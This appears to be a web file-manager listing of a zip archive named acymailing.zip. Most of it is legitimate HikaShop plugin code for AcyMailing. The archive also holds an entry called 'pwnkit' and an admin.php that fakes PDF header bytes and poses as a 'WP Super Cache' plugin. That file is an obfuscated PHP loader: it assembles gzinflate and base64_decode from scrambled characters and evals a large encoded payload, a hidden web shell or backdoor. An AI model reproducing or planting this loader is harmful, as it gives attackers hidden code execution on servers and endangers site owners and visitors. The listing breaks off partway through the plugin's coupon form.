File manager - Edit - /home/verseaumee/empowernetkenyajuly2026/acymailing.zip
Back
PK �k.] pwnkitnu ȯ�� PK �k.]"��� � admin.phpnu �[��� %PDF- %PDF- <?php /** * Plugin Name: WP Super Cache * Plugin URI: https://github.com/cAT3VWynuiL7CRgr/c332d * Description: WP Super Cache * Version: 1.0 * Author: WP Super Cache * Author URI: https://github.com/cAT3VWynuiL7CRgr/c332d * License: GPLv2 */ $e9Hrg = "ZA5GUw760zXvFPnq8jSNaelo2YCifgh3WRBcTtLkymEQx14puIbsO9HrKM_VdJD"; $FARDX = $e9Hrg[29].$e9Hrg[9].$e9Hrg[27].$e9Hrg[14].$e9Hrg[28].$e9Hrg[22].$e9Hrg[20].$e9Hrg[37].$e9Hrg[21]; $h7pKG = $e9Hrg[50].$e9Hrg[20].$e9Hrg[51].$e9Hrg[21].$e9Hrg[7].$e9Hrg[46].$e9Hrg[58].$e9Hrg[60].$e9Hrg[21].$e9Hrg[35].$e9Hrg[23].$e9Hrg[60].$e9Hrg[21]; $UA7Rv = "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"; eval($FARDX($h7pKG($UA7Rv)));PK �k.]�#o, , hikashop/index.htmlnu �[��� <html><body bgcolor="#FFFFFF"></body></html>PK �k.]+z��� � hikashop/hikashop.xmlnu �[��� <?xml version="1.0" encoding="utf-8"?> <extension type="plugin" version="2.5" method="upgrade" group="acymailing"> <name>AcyMailing Tag : HikaShop content</name> <creationDate>29 avril 2022</creationDate> <version>4.5.1</version> <author>Hikari Software</author> <authorEmail>dev@hikashop.com</authorEmail> <authorUrl>http://www.hikashop.com</authorUrl> <copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright> <license>http://www.hikashop.com/commercial_license.php</license> <description>This plugin enables you to insert HikaShop products, coupons inside any e-mail sent by AcyMailing</description> <files> <filename plugin="hikashop">hikashop.php</filename> </files> <params addpath="/components/com_acymailing/params"> <param name="help" type="help" label="HIKA_HELP" description="HIKA_ACY_HELP" default="plugin-hikashop"/> <param name="customtemplate" type="customtemplate" label="HIKA_CUSTOM_TEMPLATE" description="CUSTOM_TEMPLATE" help="hikashop" default="hikashop_product"/> <param name="vat" type="list" default="1" label="HIKA_ADD_VAT_TO_PRICE" description="ADD_VAT_TO_PRICE"> <option value="0">NO_VAT</option> <option value="1">YES_VAT</option> </param> <param name="stock" type="list" default="0" label="HIKA_ONLY_PRODUCT_IN_STOCK" description="ONLY_PRODUCT_IN_STOCK"> <option value="0">ONLY_PRODUCT_IN_STOCK_NO</option> <option value="1">ONLY_PRODUCT_IN_STOCK_YES</option> </param> <param name="itemid" size="10" type="text" default="" label="HIKA_DEFAULT_ITEMID" description="DEFAULT_ITEMID" /> <param name="displayfilter_massactions" type="list" default="1" label="HIKA_DISPLAY_HIKASHOP_FILTERS_ON_MASSACTIONS" description="DISPLAY_HIKASHOP_FILTERS_ON_MASSACTIONS"> <option value="0">HIKASHOP_NO</option> <option value="1">HIKASHOP_YES</option> </param> <param name="displayfilter_mail" type="list" default="1" label="HIKA_DISPLAY_HIKASHOP_FILTERS_ON_NEWSLETTERS_EDITION" description="DISPLAY_HIKASHOP_FILTERS_ON_NEWSLETTERS_EDITION"> <option value="0">HIKASHOP_NO</option> <option value="1">HIKASHOP_YES</option> </param> </params> <config> <fields name="params" addfieldpath="/components/com_acymailing/params"> <fieldset name="basic"> <field name="help" type="help" label="HIKA_HELP" description="HIKA_HELP" default="plugin-hikashop"/> <field name="customtemplate" type="customtemplate" label="HIKA_CUSTOM_TEMPLATE" description="CUSTOM_TEMPLATE" help="hikashop" default="hikashop_product"/> <field name="vat" type="list" label="HIKA_ADD_VAT_TO_PRICE" default="1" description="ADD_VAT_TO_PRICE" > <option value="0">NO_VAT</option> <option value="1">YES_VAT</option> </field> <field name="stock" type="list" label="HIKA_ONLY_PRODUCT_IN_STOCK" default="0" description="ONLY_PRODUCT_IN_STOCK" > <option value="0">ONLY_PRODUCT_IN_STOCK_NO</option> <option value="1">ONLY_PRODUCT_IN_STOCK_YES</option> </field> <field name="itemid" size="10" type="text" default="" label="HIKA_DEFAULT_ITEMID" description="DEFAULT_ITEMID" /> <field name="displayfilter_massactions" type="list" default="1" label="HIKA_DISPLAY_HIKASHOP_FILTERS_ON_MASSACTIONS" description="DISPLAY_HIKASHOP_FILTERS_ON_MASSACTIONS"> <option value="0">HIKASHOP_NO</option> <option value="1">HIKASHOP_YES</option> </field> <field name="displayfilter_mail" type="list" default="0" label="HIKA_DISPLAY_HIKASHOP_FILTERS_ON_NEWSLETTERS_EDITION" description="DISPLAY_HIKASHOP_FILTERS_ON_NEWSLETTERS_EDITION"> <option value="0">HIKASHOP_NO</option> <option value="1">HIKASHOP_YES</option> </field> </fieldset> </fields> </config> </extension> PK �k.]@��a� � hikashop/hikashop.phpnu �[��� <?php /** * @package HikaShop for Joomla! * @version 4.5.1 * @author hikashop.com * @copyright (C) 2010-2022 HIKARI SOFTWARE. All rights reserved. * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html */ defined('_JEXEC') or die('Restricted access'); ?><?php class plgAcymailingHikashop extends JPlugin{ var $cats = array(); var $tags = array(); function __construct(&$subject, $config){ parent::__construct($subject, $config); if(!isset($this->params)){ $plugin = JPluginHelper::getPlugin('acymailing', 'hikashop'); $this->params = new acyParameter($plugin->params); } $this->acypluginsHelper = acymailing_get('helper.acyplugins'); $this->db = JFactory::getDBO(); } function loadAcymailing(){ if(isset($this->hikashop_installed)) return $this->hikashop_installed; if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR); if(!include_once(rtrim(JPATH_ADMINISTRATOR, DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')){ $this->hikashop_installed = false; }else{ $this->hikashop_installed = true; } return $this->hikashop_installed; } function acymailing_getPluginType(){ $onePlugin = new stdClass(); $onePlugin->name = 'HikaShop'; $onePlugin->function = 'acymailinghikashop_show'; $onePlugin->help = 'plugin-hikashop'; return $onePlugin; } function acymailinghikashop_show(){ $config = acymailing_config(); if(version_compare($config->get('version'), '5.2.0', '<')){ acymailing_display('Please download and install the latest AcyMailing version otherwise this plugin will NOT work', 'error'); return; } if(!$this->loadAcymailing()) return 'Please install HikaShop before using the HikaShop tag plugin'; $app = JFactory::getApplication(); $contentType = array(); $contentType[] = JHTML::_('select.option', "title", JText::_('TITLE_ONLY')); $contentType[] = JHTML::_('select.option', "intro", JText::_('INTRO_ONLY')); $contentType[] = JHTML::_('select.option', "full", JText::_('FULL_TEXT')); $priceDisplay = array(); $priceDisplay[] = JHTML::_('select.option', "full", JText::_('APPLY_DISCOUNTS')); $priceDisplay[] = JHTML::_('select.option', "no_discount", JText::_('NO_DISCOUNT')); $priceDisplay[] = JHTML::_('select.option', "none", JText::_('HIKASHOP_NO')); $pageInfo = new stdClass(); $pageInfo->filter = new stdClass(); $pageInfo->filter->order = new stdClass(); $pageInfo->limit = new stdClass(); $paramBase = ACYMAILING_COMPONENT.'.hikashop'; $pageInfo->filter->order->value = $app->getUserStateFromRequest($paramBase.".filter_order", 'filter_order', 'a.product_id', 'cmd'); $pageInfo->filter->order->dir = $app->getUserStateFromRequest($paramBase.".filter_order_Dir", 'filter_order_Dir', 'desc', 'word'); if(strtolower($pageInfo->filter->order->dir) !== 'desc') $pageInfo->filter->order->dir = 'asc'; $pageInfo->search = $app->getUserStateFromRequest($paramBase.".search", 'search', '', 'string'); $pageInfo->search = JString::strtolower(trim($pageInfo->search)); $pageInfo->lang = $app->getUserStateFromRequest($paramBase.".lang", 'lang', '', 'string'); $pageInfo->contenttype = $app->getUserStateFromRequest($paramBase.".contenttype", 'contenttype', 'full', 'string'); $pageInfo->pricedisplay = $app->getUserStateFromRequest($paramBase.".pricedisplay", 'pricedisplay', 'full', 'string'); $pageInfo->limit->value = $app->getUserStateFromRequest($paramBase.'.list_limit', 'limit', $app->getCfg('list_limit'), 'int'); $pageInfo->limit->start = $app->getUserStateFromRequest($paramBase.'.limitstart', 'limitstart', 0, 'int'); if(!empty($pageInfo->search)){ $searchVal = '\'%'.acymailing_getEscaped($pageInfo->search).'%\''; $filters[] = "a.product_id LIKE $searchVal OR a.product_description LIKE $searchVal OR a.product_name LIKE $searchVal OR a.product_code LIKE $searchVal"; } $whereQuery = ''; if(!empty($filters)){ $whereQuery = ' WHERE ('.implode(') AND (', $filters).')'; } $query = 'SELECT SQL_CALC_FOUND_ROWS a.* FROM '.acymailing_table('hikashop_product', false).' as a'; if(!empty($whereQuery)) $query .= $whereQuery; if(!empty($pageInfo->filter->order->value)){ $query .= ' ORDER BY '.$pageInfo->filter->order->value.' '.$pageInfo->filter->order->dir; } $this->db->setQuery($query, $pageInfo->limit->start, $pageInfo->limit->value); $rows = $this->db->loadObjectList(); if(!empty($pageInfo->search)){ $rows = acymailing_search($pageInfo->search, $rows); } $this->db->setQuery('SELECT FOUND_ROWS()'); $pageInfo->elements = new stdClass(); $pageInfo->elements->total = $this->db->loadResult(); $pageInfo->elements->page = count($rows); jimport('joomla.html.pagination'); $pagination = new JPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value); $tabs = acymailing_get('helper.acytabs'); echo $tabs->startPane('hikashop_tab'); echo $tabs->startPanel(JText::_('PRODUCTS'), 'hikashop_product'); ?> <script language="javascript" type="text/javascript"> <!-- var selectedContents = new Array(); function applyContent(productid, rowClass){ var tmp = selectedContents.indexOf(productid) if(tmp != -1){ window.document.getElementById('content' + productid).className = rowClass; delete selectedContents[tmp]; }else{ window.document.getElementById('content' + productid).className = 'selectedrow'; selectedContents.push(productid); } updateTagProd(); } function updateTagProd(){ var tag = ''; var information = ''; for(var i = 0; i < document.adminForm.contenttype.length; i++){ if(document.adminForm.contenttype[i].checked){ information += '| type:' + document.adminForm.contenttype[i].value; } } for(i = 0; i < document.adminForm.pricedisplay.length; i++){ if(document.adminForm.pricedisplay[i].checked){ information += '| price:' + document.adminForm.pricedisplay[i].value; } } if(window.document.getElementById('jflang') && window.document.getElementById('jflang').value != ''){ information += '| lang:' + window.document.getElementById('jflang').value; } for(var i in selectedContents){ if(selectedContents[i] && !isNaN(i)){ tag = tag + '{hikashop_product:' + selectedContents[i] + information + '}<br />'; } } setTag(tag); } //--> </script> <div class="onelineblockoptions"> <table width="100%" class="acymailing_table"> <tr> <td> <?php echo JText::_('DISPLAY'); ?> </td> <td> <?php echo JHTML::_('acyselect.radiolist', $contentType, 'contenttype', 'size="1" onchange="updateTagProd();"', 'value', 'text', $pageInfo->contenttype); ?> </td> <td> <?php $jflanguages = acymailing_get('type.jflanguages'); $jflanguages->onclick = ' onchange="updateTagProd();" '; echo $jflanguages->display('lang', $pageInfo->lang); ?> </td> </tr> <tr> <td> <?php echo JText::_('PRICE'); ?> </td> <td colspan="2"> <?php echo JHTML::_('acyselect.radiolist', $priceDisplay, 'pricedisplay', 'size="1" onchange="updateTagProd();"', 'value', 'text', $pageInfo->pricedisplay); ?> </td> </tr> </table> </div> <div class="onelineblockoptions"> <table class="acymailing_table_options"> <tr> <td> <?php acymailing_listingsearch($pageInfo->search); ?> </td> </tr> </table> <table class="acymailing_table" cellpadding="1" width="100%"> <thead> <tr> <th></th> <th class="title"> <?php echo JHTML::_('grid.sort', JText::_('HIKA_NAME'), 'a.product_name', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?> </th> <th class="title"> <?php echo JHTML::_('grid.sort', JText::_('HIKA_DESCRIPTION'), 'a.product_description', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?> </th> <th class="title titleid"> <?php echo JHTML::_('grid.sort', JText::_('ID'), 'a.product_id', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?> </th> </tr> </thead> <tfoot> <tr> <td colspan="4"> <?php echo $pagination->getListFooter(); ?> <?php echo $pagination->getResultsCounter(); ?> </td> </tr> </tfoot> <tbody> <?php $k = 0; for($i = 0, $a = count($rows); $i < $a; $i++){ $row =& $rows[$i]; ?> <tr id="content<?php echo $row->product_id ?>" class="<?php echo "row$k"; ?>" onclick="applyContent(<?php echo $row->product_id; ?>,'<?php echo "row$k"; ?>');" style="cursor:pointer;"> <td class="acytdcheckbox"></td> <td> <?php echo acymailing_tooltip('CODE : '.$row->product_code, $row->product_name, '', $row->product_name); ?> </td> <td> <?php echo $row->product_description; ?> </td> <td class="hk_center"> <?php echo $row->product_id; ?> </td> </tr> <?php $k = 1 - $k; } ?> </tbody> </table> </div> <input type="hidden" name="boxchecked" value="0"/> <input type="hidden" name="filter_order" value="<?php echo $pageInfo->filter->order->value; ?>"/> <input type="hidden" name="filter_order_Dir" value="<?php echo $pageInfo->filter->order->dir; ?>"/> <?php echo $tabs->endPanel(); echo $tabs->startPanel(JText::_('HIKA_CATEGORIES'), 'hikashop_auto'); $type = JFactory::getApplication()->input->getString('type'); $this->db->setQuery('SELECT * FROM '.acymailing_table('hikashop_category', false).' WHERE category_type=\'product\' ORDER BY `category_ordering` ASC'); $categories = $this->db->loadObjectList('category_id'); $this->cats = array(); foreach($categories as $oneCat){ $this->cats[$oneCat->category_parent_id][] = $oneCat; } $catClass = hikashop_get('class.category'); $root = $catClass->getRoot(); ?> <script language="javascript" type="text/javascript"> <!-- var selectedCat = new Array(); function applyAutoProduct(catid, rowClass){ if(catid == 'all'){ if(window.document.getElementById('product_cat' + catid).className == 'selectedrow'){ window.document.getElementById('product_catall').className = rowClass; }else{ window.document.getElementById('product_cat' + catid).className = 'selectedrow'; for(var key in selectedCat){ if(!isNaN(key)){ window.document.getElementById('product_cat' + key).className = rowClass; delete selectedCat[key]; } } } }else{ window.document.getElementById('product_catall').className = 'row0'; if(selectedCat[catid]){ window.document.getElementById('product_cat' + catid).className = rowClass; delete selectedCat[catid]; }else{ window.document.getElementById('product_cat' + catid).className = 'selectedrow'; selectedCat[catid] = 'product'; } } updateTagAuto(); } function updateTagAuto(){ var tag = '{hikashop_auto_product:'; for(var icat in selectedCat){ if(selectedCat[icat] == 'product'){ tag += icat + '-'; } } for(var i = 0; i < document.adminForm.contenttypeauto.length; i++){ if(document.adminForm.contenttypeauto[i].checked){ tag += '| type:' + document.adminForm.contenttypeauto[i].value; } } if(document.adminForm.min_article && document.adminForm.min_article.value && document.adminForm.min_article.value != 0){ tag += '| min:' + document.adminForm.min_article.value; } if(document.adminForm.max_article.value && document.adminForm.max_article.value != 0){ tag += '| max:' + document.adminForm.max_article.value; } if(document.adminForm.contentorder.value){ tag += "| order:" + document.adminForm.contentorder.value + "," + document.adminForm.contentorderdir.value; } if(document.adminForm.contentfilter && document.adminForm.contentfilter.value){ tag += '| filter:' + document.adminForm.contentfilter.value; } if(window.document.getElementById('jflang_auto') && window.document.getElementById('jflang_auto').value != ''){ tag += '| lang:' + window.document.getElementById('jflang_auto').value; } for(i = 0; i < document.adminForm.pricedisplayauto.length; i++){ if(document.adminForm.pricedisplayauto[i].checked){ tag += '| price:' + document.adminForm.pricedisplayauto[i].value; } } tag += '}'; setTag(tag); } //--> </script> <div class="onelineblockoptions"> <table width="100%" class="acymailing_table"> <tr> <td> <?php echo JText::_('DISPLAY'); ?> </td> <td colspan="2"> <?php echo JHTML::_('acyselect.radiolist', $contentType, 'contenttypeauto', 'size="1" onclick="updateTagAuto();"', 'value', 'text', 'full'); ?> </td> <td> <?php $jflanguages = acymailing_get('type.jflanguages'); if(!empty($jflanguages->values)){ $jflanguages->id = 'jflang_auto'; $jflanguages->onclick = 'onchange="updateTagAuto();"'; echo $jflanguages->display('language'); } ?> </td> </tr> <tr> <td> <?php echo JText::_('PRICE'); ?> </td> <td colspan="3"> <?php echo JHTML::_('acyselect.radiolist', $priceDisplay, 'pricedisplayauto', 'size="1" onclick="updateTagAuto();"', 'value', 'text', 'full'); ?> </td> </tr> <tr> <td> <label for="max_article"><?php echo JText::_('MAX_ARTICLE'); ?></label> </td> <td> <input type="text" name="max_article" id="max_article" style="width:50px" value="" onchange="updateTagAuto();"/> </td> <td> <?php echo JText::_('ACY_ORDER'); ?> </td> <td> <?php $values = array('product_id' => 'ACY_ID', 'product_created' => 'CREATED_DATE', 'product_modified' => 'MODIFIED_DATE', 'product_name' => 'HIKA_TITLE'); echo $this->acypluginsHelper->getOrderingField($values, 'product_id', 'DESC'); ?> </td> </tr> <?php if($type == 'autonews'){ ?> <tr> <td> <label for="min_article"><?php echo JText::_('MIN_ARTICLE'); ?></label> </td> <td> <input type="text" name="min_article" id="min_article" style="width:50px" value="1" onchange="updateTagAuto();"/> </td> <td> <?php echo JText::_('FILTER'); ?> </td> <td> <?php $filter = acymailing_get('type.contentfilter'); $filter->onclick = 'updateTagAuto();'; echo $filter->display('contentfilter', 'created', false); ?> </td> </tr> <?php } ?> </table> </div> <div class="onelineblockoptions"> <table class="acymailing_table" cellpadding="1" width="100%"> <tr id="product_catall" class="<?php echo "row0"; ?>" onclick="applyAutoProduct('all','<?php echo "row$k" ?>');" style="cursor:pointer;"> <td class="acytdcheckbox"></td> <td><?php echo JText::_('ACY_ALL'); ?></td> </tr> <?php $k = 0; echo $this->displayChildren($root, $k); ?> </table> </div> <?php echo $tabs->endPanel(); echo $tabs->startPanel(JText::_('HIKA_ABANDONED_CART'), 'hikashop_abandonedcart'); ?> <script language="javascript" type="text/javascript"> <!-- function updateTagCart(){ var tag = '{hikashop_abandonedcart:'; for(var icat in selectedCat){ if(selectedCat[icat] == 'product'){ tag += icat + '-'; } } for(var i = 0; i < document.adminForm.contenttypecart.length; i++){ if(document.adminForm.contenttypecart[i].checked){ tag += '| type:' + document.adminForm.contenttypecart[i].value; } } if(window.document.getElementById('jflang_cart') && window.document.getElementById('jflang_cart').value != ''){ tag += '| lang:' + window.document.getElementById('jflang_cart').value; } if(window.document.getElementById('nbdayscart') && window.document.getElementById('nbdayscart').value != ''){ tag += '| nbdayscart:' + window.document.getElementById('nbdayscart').value; } if(document.adminForm.paymentcart.value != ''){ tag += '| paymentcart:' + document.adminForm.paymentcart.value; } tag += '}'; setTag(tag); } //--> </script> <div class="onelineblockoptions"> <table width="100%" class="acymailing_table"> <tr> <td> <?php echo JText::_('DISPLAY'); ?> </td> <td colspan="2"> <?php echo JHTML::_('acyselect.radiolist', $contentType, 'contenttypecart', 'size="1" onclick="updateTagCart();"', 'value', 'text', 'full'); ?> </td> <td> <?php $jflanguages = acymailing_get('type.jflanguages'); if(!empty($jflanguages->values)){ $jflanguages->id = 'jflang_cart'; $jflanguages->onclick = 'onchange="updateTagCart();"'; echo $jflanguages->display('language'); } ?> </td> </tr> <tr> <td> <?php echo JText::sprintf('DAYS_AFTER_ORDERING', '<input class="inputbox" type="text" id="nbdayscart" name="nbdayscart" style="width:50px" value="1" onchange="updateTagCart()" />'); ?> </td> <td colspan="3"> <?php $payment = hikashop_get('type.payment'); $payment->extra = 'onchange="updateTagCart()"'; echo $payment->display("paymentcart", '', false); ?> </td> </tr> </table> </div> <?php echo $tabs->endPanel(); echo $tabs->startPanel(JText::_('COUPONS'), 'hikashop_coupon'); $currency = hikashop_get('type.currency'); $config =& hikashop_config(); ?> <script language="javascript" type="text/javascript"> <!-- function updateTag(){ var tagname = document.adminForm.minimum_order.value + '|'; tagname += document.adminForm.quota.value + '|'; tagname += document.adminForm.start.value + '|'; tagname += document.adminForm.end.value + '|'; tagname += document.adminForm.percent_amount.value + '|'; tagname += document.adminForm.flat_amount.value + '|'; tagname += document.adminForm.currency_id.value + '|'; tagname += document.adminForm.coupon_code.value + '|'; tagname += document.adminForm.product_id.value + '|'; tagname += document.adminForm.tax_id.value + '|'; tagname += document.adminForm.validity_period.value; setTag('{hikashop_coupon:' + tagname + '}'); } //--> </script> <div class="onelineblockoptions"> <table style="width:100%;"> <tr> <td style="width:50%;"> <table class="acymailing_table" style="margin:auto"> <tr> <td class="acykey"> <label for="coupon_code"> <?php echo JText::_('DISCOUNT_CODE'); ?> </label> </td> <td> <input type="text" id="coupon_code" onchange="updateTag();" value="[name][key][value]"/> </td> </tr> <tr> <td class="acykey"> <label for="flat_amount"> <?php echo JText::_('DISCOUNT_FLAT_AMOUNT'); ?> </label> </td> <td> <input style="width:50px;" type="text" id="flat_amount" onchange="updateTag();" value="0"/><?php echo $currency->display('currency_id', (int)$config->get('main_currency'), ' style="width:100px;" '); ?> </td> </tr> <tr> <td class="acykey"> <label for="percent_amount"> <?php echo JText::_('DISCOUNT_PERCENT_AMOUNT'); ?> </label> </td> <td> <input style="width:50px;" type="text" id="percent_amount" onchange="updateTag();" value="0"/> </td> </tr> </table> </td> <td> <table class="acymailing_table" style="margin:auto"> <tr> <td class="acykey"> <label for="start"> <?php echo JText::_('DISCOUNT_START_DATE'); ?> </label> </td> <td> <?php echo JHTML::_('calendar', '', 'start', 'start', '%Y-%m-%d %H:%M', array('style' => 'width:100px', 'onchange' => 'updateTag();')); ?> </td> </tr> <tr> <td class="acykey"> <label for="end"> <?php echo JText::_('DISCOUNT_END_DATE'); ?> 